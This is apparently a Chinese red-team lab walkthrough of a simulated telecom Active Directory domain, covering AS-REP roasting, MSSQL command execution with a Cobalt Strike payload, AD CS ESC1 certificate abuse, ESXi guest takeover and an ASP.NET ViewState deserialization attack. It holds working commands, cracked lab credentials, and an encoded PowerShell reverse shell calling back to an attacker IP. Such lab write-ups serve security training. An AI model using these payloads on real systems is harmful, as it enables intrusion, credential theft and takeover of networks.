Sublarge

// 红队渗透 · 2026-01-12

国外某RTS域渗透靶场通关实战

记一次国外某红队域渗透靶场通关实战,该靶场模拟了大型电信公司的真实内网架构。环境内包含域控(DC)、邮件服务器(Exchange)、数据库服务器(SQL Server)及虚拟化平台(ESXi)等核心资产。整体渗透流程分为两条主要的攻击路径,旨在通过横向移动与权限提升最终控制整个域环境。

本文记一次国外某红队域渗透靶场通关实战,该靶场模拟了大型电信公司的真实内网架构。环境内包含域控(DC)、邮件服务器(Exchange)、数据库服务器(SQL Server)及虚拟化平台(ESXi)等核心资产。整体渗透流程分为两条主要的攻击路径,旨在通过横向移动与权限提升最终控制整个域环境。

​

网段:10.5.2.2

拿到域管后再打exsi和exchange

一、信息侦察与资产测绘

1.1 端口探测与服务识别

使用 openvpn 连接后,首先使用 nmap 对目标网段进行深度扫描,以识别活跃主机、开放端口及关联的服务版本。

根据扫描回显,内网中存在典型的 Windows 域环境资产,包括 pfSense 防火墙、IIS Web 服务器以及多台运行着 RPC、SMB 服务的 Windows Server。

1.2 红队视角:基于 DNS 的隐蔽资产发现

在真实的企业内网中,大规模端口扫描容易触发 IDS/IPS 告警。带入红队思维,我们不妨优先定位 DNS 服务器并利用解析记录进行资产推测,不仅噪声更小,且效率更高。

1. 定位 DNS 服务
通过 UDP 扫描确认网段内的域名解析服务:

2. PTR 反向解析自动化探测
我编写了一个简单的 Shell 脚本,利用 dig 命令对全网段进行反向解析,快速映射 IP 地址与主机名的对应关系:

for i in {1..254}; do
  result=$(dig @10.5.2.99 +short -x 10.5.2.$i 2>/dev/null)
  [ -n "$result" ] && echo "10.5.2.$i -> $result" | tee -a 10.5.2.ptrs.txt
done
bash4 行

image.png

3. DNS 区域传输漏洞 (AXFR) 利用

尝试对 DNS 服务器执行区域传输请求,成功获取了 telecore.ad 域的完整解析清单,直接暴露了内网拓扑:

1.3 资产分析汇总

​

基于上述探测结果,梳理核心资产清单如下:

IP 地址 FQDN 资产类型 职能描述
10.5.2.2 DC01.telecore.ad 域控制器 AD 域核心认证中心,提供 LDAP/DNS 服务
10.5.2.8 PKI-SRV.telecore.ad CA 证书服务器 负责域内公钥基础设施与证书颁发
10.5.2.10 WEB-SRV.Web-Srv Web 业务服务器 运行 IIS 服务,属于独立工作组或子域
10.5.2.16 EX-SRV.telecore.ad 邮件服务器 运行 Microsoft Exchange 协作系统
10.5.2.22 SQL-SRV.telecore.ad 数据库服务器 运行 SQL Server 2022,存储关键业务数据
10.5.2.50 LINUX.LINUX Linux 服务器 运行 Postfix 与 Samba,用途待定
10.5.2.111 ESXi-VD.telecore.ad 虚拟化宿主机 运行 VMware ESXi 6.7,托管多台虚拟机

随后在 /etc/hosts 添加名称解析记录

但我一般喜欢用 nxc 一键自动生成 hosts,缺点是相较于上面的方式不够全面

❯ nxc smb alive --generate-hosts-file hostname
SMB         10.5.2.50       445    LINUX            [*] Unix - Samba (name:LINUX) (domain:LINUX) (signing:False) (SMBv1:False) 
SMB         10.5.2.10       445    WEB-SRV          [*] Windows Server 2022 Build 20348 x64 (name:WEB-SRV) (domain:Web-Srv) (signing:False) (SMBv1:False) 
SMB         10.5.2.2        445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:telecore.ad) (signing:True) (SMBv1:False) 
SMB         10.5.2.8        445    PKI-SRV          [*] Windows Server 2022 Build 20348 x64 (name:PKI-SRV) (domain:telecore.ad) (signing:False) (SMBv1:False) 
SMB         10.5.2.22       445    SQL-SRV          [*] Windows Server 2022 Build 20348 x64 (name:SQL-SRV) (domain:telecore.ad) (signing:False) (SMBv1:False) 
SMB         10.5.2.16       445    EX-SRV           [*] Windows Server 2022 Build 20348 x64 (name:EX-SRV) (domain:telecore.ad) (signing:True) (SMBv1:False) 
Running nxc against 8 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

cat hostname | sudo tee -a /etc/hosts
10.5.2.50     LINUX.LINUX LINUX
10.5.2.10     WEB-SRV.Web-Srv WEB-SRV
10.5.2.8     PKI-SRV.telecore.ad PKI-SRV
10.5.2.16     EX-SRV.telecore.ad EX-SRV
10.5.2.22     SQL-SRV.telecore.ad SQL-SRV
10.5.2.2     DC01.telecore.ad telecore.ad DC01
bash16 行

如上结果就缺少了 111 主机

二、 初始访问与凭据猎取

2.1 AD 域匿名枚举

在未获取有效凭据前,利用 LDAP 服务的匿名绑定(或空会话)枚举域内用户信息,为后续攻击提供字典。

2.2 AS-REP Roasting 攻击

针对枚举出的用户列表,检测其是否配置了“不需要 Kerberos 预认证”(UF_DONT_REQUIRE_PREAUTH)。

探测发现用户 tel_support01 存在此配置缺陷。

​

hashcat 离线爆破: image.png

$krb5asrep$23$tel_support01@TELECORE.AD:c0c0ea5ba84a08a6a55e62c6d875aeba$fa778ca104c59317e68d5b65fe353652d8e34b245983c30eda3ba73c5c68ea55e59dc8e166364c5d7db34db5aa08e2793f89e5c1503ff0a18d90d112926c15c01bd132d6fa4241e3bc188b30f37388d524374a49a73495a774c33f13a3d0f080a9f093798b90d479d69e5a51e5931c150bc1281639170b46eb8286f180fa9efb321ccb7172c6050e7c669ce9c416e2ac5c2a13eb110da447790b49c82e0f6e171f4ada40cca980170d9d840bbf3e2deb19d673fae4c4b59960cf369228f94595c88a9755a288bffb1705d264011d93f5b5eeeada84623e21ef931cfaa875d16c8fa9e9e990dbc5fba463:#T3l3phon3!
bash1 行

成功还原明文凭据:

  • 账号: tel_support01
  • 密码: #T3l3phon3!

三、 攻击路径一:MSSQL 提权

3.1 MSSQL 权限验证与执行

image.png image.png

经验证,tel_support01 账号拥有 SQL-SRV (10.5.2.22) 数据库实例的访问权限,且具备 sysadmin 最高管理权限。

❯ nxc mssql 10.5.2.22 -u tel_support01 -p '#T3l3phon3!' -M mssql_priv
MSSQL       10.5.2.22       1433   SQL-SRV          [*] Windows Server 2022 Build 20348 (name:SQL-SRV) (domain:telecore.ad)
MSSQL       10.5.2.22       1433   SQL-SRV          [+] telecore.ad\tel_support01:#T3l3phon3! (Pwn3d!)
MSSQL_PRIV  10.5.2.22       1433   SQL-SRV          [+] TELECORE\tel_support01 is already a sysadmin
❯ nxc mssql 10.5.2.22 -u tel_support01 -p '#T3l3phon3!' -x whoami
MSSQL       10.5.2.22       1433   SQL-SRV          [*] Windows Server 2022 Build 20348 (name:SQL-SRV) (domain:telecore.ad)
MSSQL       10.5.2.22       1433   SQL-SRV          [+] telecore.ad\tel_support01:#T3l3phon3! (Pwn3d!)
MSSQL       10.5.2.22       1433   SQL-SRV          [+] Executed command via mssqlexec
MSSQL       10.5.2.22       1433   SQL-SRV          nt service\mssql$sqlexpress
bash9 行

3.2 权限维持与 CS 上线

通过 nxc 的命令执行功能直接上线 cs,其中 payload 是预先在 Cobalt Strike 中生成的 powershell command

❯ nxc mssql 10.5.2.22 -u tel_support01 -p '#T3l3phon3!' -x "$(cat payload.txt)"
MSSQL       10.5.2.22       1433   SQL-SRV          [*] Windows Server 2022 Build 20348 (name:SQL-SRV) (domain:telecore.ad)
MSSQL       10.5.2.22       1433   SQL-SRV          [+] telecore.ad\tel_support01:#T3l3phon3! (Pwn3d!)
[14:19:13] ERROR    Error when attempting to execute command via xp_cmdshell: timed out                                                           mssqlexec.py:30
MSSQL       10.5.2.22       1433   SQL-SRV          [+] Executed command via mssqlexec
bash5 行

image.png

通过 whoami /all 检查当前权限上下文,发现该服务账户具备 SeImpersonatePrivilege(模拟特权)。

image.png

初始尝试使用 PrintSpoofer 进行提权

image.png

ssytem 权限有问题

image.png

遂改用 GodPotato 触发 DCOM 机制进行提权

image.png

image.png

成功获取 SYSTEM 权限后,使用 CS 自带的hashdump 命令导出内存凭据及 Hash

image.png

image.png

3.3 AD CS 证书服务漏洞利用(ESC1)

利用 Certipy 针对域内证书服务进行漏洞扫描

结果显示 telecore-PKI-SRV-CA 存在严重的配置缺陷。直接打 ESC1。

涉及模板:Badges 和 Tel_User。

漏洞成因:

  1. Enrollee Supplies Subject (True):允许请求者在申请证书时自定义“使用者名称”(SAN)。
  2. Client Authentication (True):该证书可用于域内身份认证。
  3. Enrollment Rights:Domain Users 拥有申请权限,即 tel_engineer01 可以调用它。

利用价值:可以通过 tel_engineer01 身份申请一张 SAN 为 administrator 的证书,从而直接以域管身份进行认证。

这意味着,任何拥有基础权限的域用户都可以伪造成“域管理员”身份申请证书,并以此证书通过 Kerberos 认证,实现对整个域控(DC01)的完全接管。

​

这里要注意证书服务器和域控服务器并不是同一台机器。

​

  1. 申请伪造的管理员证书
❯ certipy-ad req -u 'tel_engineer01@telecore.ad' -hashes :e2b1996aaff0f57bccb916265a77970e -target 10.5.2.8 -ca 'telecore-PKI-SRV-CA' -template 'Tel_User' -upn 'administrator@telecore.ad' -sid 'S-1-5-21-1588247407-410625039-1511794522-500'
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The DNS query name does not exist: TELECORE.AD.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 21
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@telecore.ad'
[*] Certificate object SID is 'S-1-5-21-1588247407-410625039-1511794522-500'
[*] Saving certificate and private key to 'administrator.pfx'
File 'administrator.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote certificate and private key to 'administrator.pfx'
bash13 行
  1. 利用获取的 .pfx 换取域管 Hash
❯ certipy-ad auth -pfx administrator.pfx -dc-ip 10.5.2.2
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@telecore.ad'
[*]     SAN URL SID: 'S-1-5-21-1588247407-410625039-1511794522-500'
[*]     Security Extension SID: 'S-1-5-21-1588247407-410625039-1511794522-500'
[*] Using principal: 'administrator@telecore.ad'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
File 'administrator.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@telecore.ad': aad3b435b51404eeaad3b435b51404ee:bfb19bca32a6aab8e0b9a836da860e32
bash15 行

至此成功拿下域控,通过凭据喷洒,可以控制大部分机器:

image.png

四、后渗透信息收集

4.1 哈希提取与域管哈希破解

CS 上线域控,hashdump image.png

image.png

​

尝试爆破域管理员的 hash

拿到域管明文凭据August1990password

4.2 敏感信息收集

然后就是后渗透信息收集

用 nxc 的 recent_files 提取最近修改的文件

❯ nxc smb 10.5.2.2 -u administrator -p 'August1990password' -M recent_files
SMB         10.5.2.2        445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:telecore.ad) (signing:True) (SMBv1:False)
SMB         10.5.2.2        445    DC01             [+] telecore.ad\administrator:August1990password (Pwn3d!)
RECENT_F... 10.5.2.2        445    DC01             C:\Administrator
RECENT_F... 10.5.2.2        445    DC01                 \\PKI-SRV\C$\Windows\System32\CertSrv\CertEnroll
RECENT_F... 10.5.2.2        445    DC01                 C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt                                                                                                                                    
RECENT_F... 10.5.2.2        445    DC01                 ::{088E3905-0323-4B02-9826-5D99428E115F}
RECENT_F... 10.5.2.2        445    DC01                 ::{088E3905-0323-4B02-9826-5D99428E115F}\impersonate.ps1
RECENT_F... 10.5.2.2        445    DC01                 %INTERNET%
RECENT_F... 10.5.2.2        445    DC01                 \\PKI-SRV\C$\Windows\System32\CertSrv\CertEnroll\PKI-Srv.telecore.ad_telecore-PKI-SRV-CA.crt                                                                                                                                              
RECENT_F... 10.5.2.2        445    DC01                 C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine
bash11 行

GUID {088E3905-0323-4B02-9826-5D99428E115F} 是微软定义的知名 Shell Namespace CLSID,代表 Recent Files/Folders Search Results(最近文件搜索结果)。

当管理员在资源管理器中点击左侧“快速访问” → “最近使用的文件” 或直接在搜索框输入 * 查看最近文件时,Windows 就会进入这个虚拟命名空间。

在这个虚拟文件夹里看到的文件,其实是指向真实磁盘位置的快捷方式/链接(类似 LNK 文件或虚拟视图),而非物理路径。

注意到脚本impersonate.ps1

image.png

脚本功能分析:

该 PowerShell 脚本旨在自动化 Exchange 邮件系统的迁移任务。它通过配置对象 $MigrationConfig 定义了连接信息,并利用 New-PSSession 连接到 Exchange 服务器的 PowerShell 终端进行操作。

​

核心操作流程:

  1. 硬编码配置:脚本在开头直接定义了服务器地址、服务账号及明文密码。
  2. 凭据处理:将明文密码转换为 SecureString,并创建 PSCredential 对象。
  3. 远程连接:通过 http 建立远程 PowerShell 会话(PSSession)。
  4. 信息获取:调用 Get-MailboxStatistics 获取目标邮箱的统计信息。
  5. 日志记录:将操作详情(包括明文凭据)写入本地文件。

​

此外在 DC01 的C:\users\administrator.ssh 下发现 known_hosts文件

​读取到文件中记录了esxi-vd.telecore.ad的 SSH RSA 公钥,说明DC01 的管理员曾通过 SSH 连接过 ESXi 服务器esxi-vd.telecore.ad

五、横向移动:ESXi 虚拟机

我先使用 VcenterKit 工具枚举 没发现漏洞

image.png

5.1 ssh 登录 esxi

域控上查看组权限发现存在于ESX Admins组,我们可以使用域管理员凭据通过ssh登录esxi

image.png

发现 shell 是 ash,很多命令都没有

[TELECORE\administrator@ESXi-VD:~] cat /etc/passwd
root:x:0:0:Administrator:/:/bin/sh
daemon:x:2:2:System daemons:/:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/:/sbin/nologin
dcui:x:100:100:DCUI User:/:/sbin/nologin
vpxuser:x:500:100:VMware VirtualCenter administration account:/:/sbin/nologin
[TELECORE\administrator@ESXi-VD:~] id
-sh: id: not found
bash8 行

5.2 vim-cmd 信息收集

vim-cmd 是 ESXi 命令行最核心、最强大的管理工具之一。它实际上是 vSphere API 的一个命令行包装器,允许你绕过 GUI 界面,直接与宿主机的管理服务(hostd)进行通信。对于红队渗透来说,掌握 vim-cmd 意味着你拥有了对虚拟机的生杀大权。

vim-cmd 包含多个子模块,但渗透中最常用的是 vmsvc(Virtual Machine Service)。几乎所有针对虚拟机的操作(查看、开关机、配置修改)都通过它完成。

基础枚举命令

在执行任何操作前,你必须先获得虚拟机的 Vmid(这是一个数字 ID,后续所有命令都依赖它,而不是虚拟机名称)。

列出所有虚拟机及其状态:

[TELECORE\administrator@ESXi-VD:~] vim-cmd vmsvc/getallvms
Vmid    Name                   File                   Guest OS      Version                     Annotation                   
1      VaultVM   [datastore1] VaultVM/VaultVM.vmx   ubuntu64Guest   vmx-13    Guest VM Credentials : 

linux \ VaultAdmin@123
bash5 行

重点观察输出中的 Annotation(注释)和 Guest OS 字段,管理员有时会在注释里写下密码或系统用途。

常用操作指令表

功能 命令语法 渗透用途
获取 VM 状态 vim-cmd vmsvc/power.getstate [Vmid] 确认目标是否在线。
开机 / 关机 vim-cmd vmsvc/power.on 或 .off [Vmid] 强制关机以进行磁盘挂载。
重启 vim-cmd vmsvc/power.reboot [Vmid] 配合镜像挂载实施劫持。
获取详细配置 vim-cmd vmsvc/get.config [Vmid] 查看虚拟硬盘路径、网络适配器等详情。
快照管理 vim-cmd vmsvc/snapshot.get [Vmid] 查看是否有存有敏感数据的旧快照。

这里的目的是获得esxi的虚拟机权限,所以还要进一步利用,但是 vim-cmd 环境受限,无法完成利用。于是改用python脚本进行交互,反弹shell获得权限。

5.3 pyVim 交互上线

需要先安装 pyVim 库与 ESXi 443 端口交互

❯ pip install pyvmomi --break-system-packages
bash1 行

我写的脚本已经传到 github:https://github.com/yanxinwu946/exsi-exploit/

枚举虚拟机信息

❯ py vm-list.py -H 10.5.2.111 -u administrator -p August1990password
Connecting to 10.5.2.111...

=== All Virtual Machines ===

Name: VaultVM
  Power State: poweredOn
  Guest OS: Ubuntu Linux (64-bit)
  Tools Status: toolsOk
  IP Address: 10.5.2.50
  Notes: Guest VM Credentials : 

linux \ VaultAdmin@123

Disconnected successfully.
bash15 行

发现一台 linux 客户机,notes 中留下了账号密码

​

  • vCenter/ESXi 管理地址 = 10.5.2.111
  • VaultVM 客体地址 = 10.5.2.50(只是运行在虚拟化平台上的一台虚拟机)

反弹 shell 上线

逻辑: vCenter API调用 → ESXi宿主机 → Guest Agent(VM内) → Guest OS进程管理器 → 执行bash反向Shell

❯ py getshell.py -H 10.5.2.111 -u administrator -p August1990password -vm VaultVM -l 10.10.20.98 -P 4444 -gu linux -gp VaultAdmin@123
bash1 行

image.png

成功进入主机名为 linux 的客户机

image.png

获得 flag!

六、攻击路径二:Web 反序列化

路径二相比路径一要难不少,此路径不需要通过匿名枚举获得初始凭据。

​

6.1 任意文件读取

在针对 WEB-SRV (10.5.2.10) 的渗透中,发现其报表功能插件存在路径遍历漏洞。通过此漏洞,可实现对服务器敏感配置文件的越权读取。

​

1. 系统敏感文件读取验证:

http://10.5.2.10/network-reports.aspx?report=../../../../../../windows/win.ini

2. 核心配置文件获取:

进一步尝试读取 IIS 站点的 web.config,成功获取了 ASP.NET 的核心加密密钥——MachineKey。

http://10.5.2.10/network-reports.aspx?report=web.config

image.png

<?xml version="1.0"?>
<configuration>
  <system.web>
    <pages validateRequest="false" enableEventValidation="false" viewStateEncryptionMode="Never"/>
    <machineKey validationKey="56AB7132992003EE87F74AE4D9675D65EED8018D3528C0B8874905B51940DEAF6B85F1D922D19AB8F69781B2326A2F978A064708822FD8C54ED74CADF8592E17" decryptionKey="A69D80B92A16DFE1698DFE86D4CED630FA56D7C1661C8D05744449889B88E8DC" validation="SHA1" decryption="AES"/>
    <customErrors mode="Off"/>
    <compilation defaultLanguage="c#" debug="true"/>
    <!-- CRITICAL SETTING: Allows path traversal in URLs -->
    <httpRuntime relaxedUrlToFileSystemMapping="true" />
  </system.web>
  
  <system.webServer>
    <staticContent>
      <mimeMap fileExtension=".config" mimeType="text/plain" />
    </staticContent>
  </system.webServer>
</configuration>
bash17 行

关键发现:
该配置文件不仅泄露了 validationKey 和 decryptionKey,还显示 httpRuntime 设置了 relaxedUrlToFileSystemMapping="true"

​

我还尝试了全局 config,虽然没有信息:

http://10.5.2.10/network-reports.aspx?report=C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config

v4.0.30319 是 .NET Framework 4.x 系列(包括 4.0、4.5、4.6、4.7、4.8 等)的统一运行时目录名称,微软故意设计成这样

6.2 ViewState 反序列化RCE

基于获取的 MachineKey,可以针对 ASP.NET 的 __VIEWSTATE 机制发起反序列化攻击。

1. 原理分析:
ASP.NET 使用 __VIEWSTATE 隐藏字段在客户端与服务器间传递页面状态。由于我们掌握了服务端用于签名和加密的 MachineKey,因此可以构造恶意的序列化数据包。当服务器进行反序列化处理时,会触发特殊的 Gadget Chain(如 TextFormattingRunProperties),从而在服务器上下文执行任意系统命令。

参考文章:

https://www.cnblogs.com/zpchcbd/p/15112047.html

image.png

    <form method="post" action="./" id="form1">
<div class="aspNetHidden">
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTcwNzM5ODc3NGRkuCwwL3tVUWLJeG168Y/jI28D3Yw=" />
</div>

<div class="aspNetHidden">

	<input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="CA0B0334" />
</div>
bash9 行

获取到 __VIEWSTATEGENERATOR 字段 value=“CA0B0334”

​

2. Payload 构造与执行:

万事俱备,使用 ysoserial.net 工具 https://github.com/pwntester/ysoserial.net 构造反序列化 payload,生成加密的 PowerShell 反弹 Shell 负载

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties --generator=CA0B0334 --validationalg="SHA1" --validationkey="56AB7132992003EE87F74AE4D9675D65EED8018D3528C0B8874905B51940DEAF6B85F1D922D19AB8F69781B2326A2F978A064708822FD8C54ED74CADF8592E17" -c "cmd /c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMgAwAC4AOQA4ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7AHQAcgB5ACAAewAgACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAiAC4AIAB7ACAAJABkAGEAdABhACAAfQAgADIAPgAmADEAIgAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAiACQAXwBgAG4AIgB9ADsAIAAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"
bash1 行

image.png

​

3. 权限获取:
通过 POST 请求提交伪造的 __VIEWSTATE image.png

POST / HTTP/1.1
Host: 10.5.2.10
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 3260

__VIEWSTATE=%2FwEy0hIAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD0EDw%2FeG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi0xNiI%2FPg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI%2BDQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U%2BDQogICAgPHNkOlByb2Nlc3M%2BDQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8%2BDQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgY21kIC9jIHBvd2Vyc2hlbGwgLWUgSkFCakFHd0FhUUJsQUc0QWRBQWdBRDBBSUFCT0FHVUFkd0F0QUU4QVlnQnFBR1VBWXdCMEFDQUFVd0I1QUhNQWRBQmxBRzBBTGdCT0FHVUFkQUF1QUZNQWJ3QmpBR3NBWlFCMEFITUFMZ0JVQUVNQVVBQkRBR3dBYVFCbEFHNEFkQUFvQUNJQU1RQXdBQzRBTVFBd0FDNEFNZ0F3QUM0QU9RQTRBQ0lBTEFBMEFEUUFOQUEwQUNrQU93QWtBSE1BZEFCeUFHVUFZUUJ0QUNBQVBRQWdBQ1FBWXdCc0FHa0FaUUJ1QUhRQUxnQkhBR1VBZEFCVEFIUUFjZ0JsQUdFQWJRQW9BQ2tBT3dCYkFHSUFlUUIwQUdVQVd3QmRBRjBBSkFCaUFIa0FkQUJsQUhNQUlBQTlBQ0FBTUFBdUFDNEFOZ0ExQURVQU13QTFBSHdBSlFCN0FEQUFmUUE3QUhjQWFBQnBBR3dBWlFBb0FDZ0FKQUJwQUNBQVBRQWdBQ1FBY3dCMEFISUFaUUJoQUcwQUxnQlNBR1VBWVFCa0FDZ0FKQUJpQUhrQWRBQmxBSE1BTEFBZ0FEQUFMQUFnQUNRQVlnQjVBSFFBWlFCekFDNEFUQUJsQUc0QVp3QjBBR2dBS1FBcEFDQUFMUUJ1QUdVQUlBQXdBQ2tBZXdBN0FDUUFaQUJoQUhRQVlRQWdBRDBBSUFBb0FFNEFaUUIzQUMwQVR3QmlBR29BWlFCakFIUUFJQUF0QUZRQWVRQndBR1VBVGdCaEFHMEFaUUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFWQUJsQUhnQWRBQXVBRUVBVXdCREFFa0FTUUJGQUc0QVl3QnZBR1FBYVFCdUFHY0FLUUF1QUVjQVpRQjBBRk1BZEFCeUFHa0FiZ0JuQUNnQUpBQmlBSGtBZEFCbEFITUFMQUF3QUN3QUlBQWtBR2tBS1FBN0FIUUFjZ0I1QUNBQWV3QWdBQ1FBY3dCbEFHNEFaQUJpQUdFQVl3QnJBQ0FBUFFBZ0FDZ0FhUUJsQUhnQUlBQWlBQzRBSUFCN0FDQUFKQUJrQUdFQWRBQmhBQ0FBZlFBZ0FESUFQZ0FtQURFQUlnQWdBSHdBSUFCUEFIVUFkQUF0QUZNQWRBQnlBR2tBYmdCbkFDQUFLUUE3QUNBQWZRQWdBR01BWVFCMEFHTUFhQUFnQUhzQUlBQWtBSE1BWlFCdUFHUUFZZ0JoQUdNQWF3QWdBRDBBSUFBaUFDUUFYd0JnQUc0QUlnQjlBRHNBSUFBa0FITUFaUUJ1QUdRQVlnQmhBR01BYXdBeUFDQUFQUUFnQUNRQWN3QmxBRzRBWkFCaUFHRUFZd0JyQUNBQUt3QWdBQ0lBVUFCVEFDQUFJZ0FnQUNzQUlBQW9BSEFBZHdCa0FDa0FMZ0JRQUdFQWRBQm9BQ0FBS3dBZ0FDSUFQZ0FnQUNJQU93QWtBSE1BWlFCdUFHUUFZZ0I1QUhRQVpRQWdBRDBBSUFBb0FGc0FkQUJsQUhnQWRBQXVBR1VBYmdCakFHOEFaQUJwQUc0QVp3QmRBRG9BT2dCQkFGTUFRd0JKQUVrQUtRQXVBRWNBWlFCMEFFSUFlUUIwQUdVQWN3QW9BQ1FBY3dCbEFHNEFaQUJpQUdFQVl3QnJBRElBS1FBN0FDUUFjd0IwQUhJQVpRQmhBRzBBTGdCWEFISUFhUUIwQUdVQUtBQWtBSE1BWlFCdUFHUUFZZ0I1QUhRQVpRQXNBREFBTEFBa0FITUFaUUJ1QUdRQVlnQjVBSFFBWlFBdUFFd0FaUUJ1QUdjQWRBQm9BQ2tBT3dBa0FITUFkQUJ5QUdVQVlRQnRBQzRBUmdCc0FIVUFjd0JvQUNnQUtRQjlBRHNBSkFCakFHd0FhUUJsQUc0QWRBQXVBRU1BYkFCdkFITUFaUUFvQUNrQSIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8%2BDQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U%2BDQo8L09iamVjdERhdGFQcm92aWRlcj4Ls8tDF3qVLYY%2BHZ9lc0h%2FHJa2D2k%3D
bash12 行

然后就收到了 shell

image.png

成功获得 Web 服务器初始权限,当前身份为:iis apppool\root

​

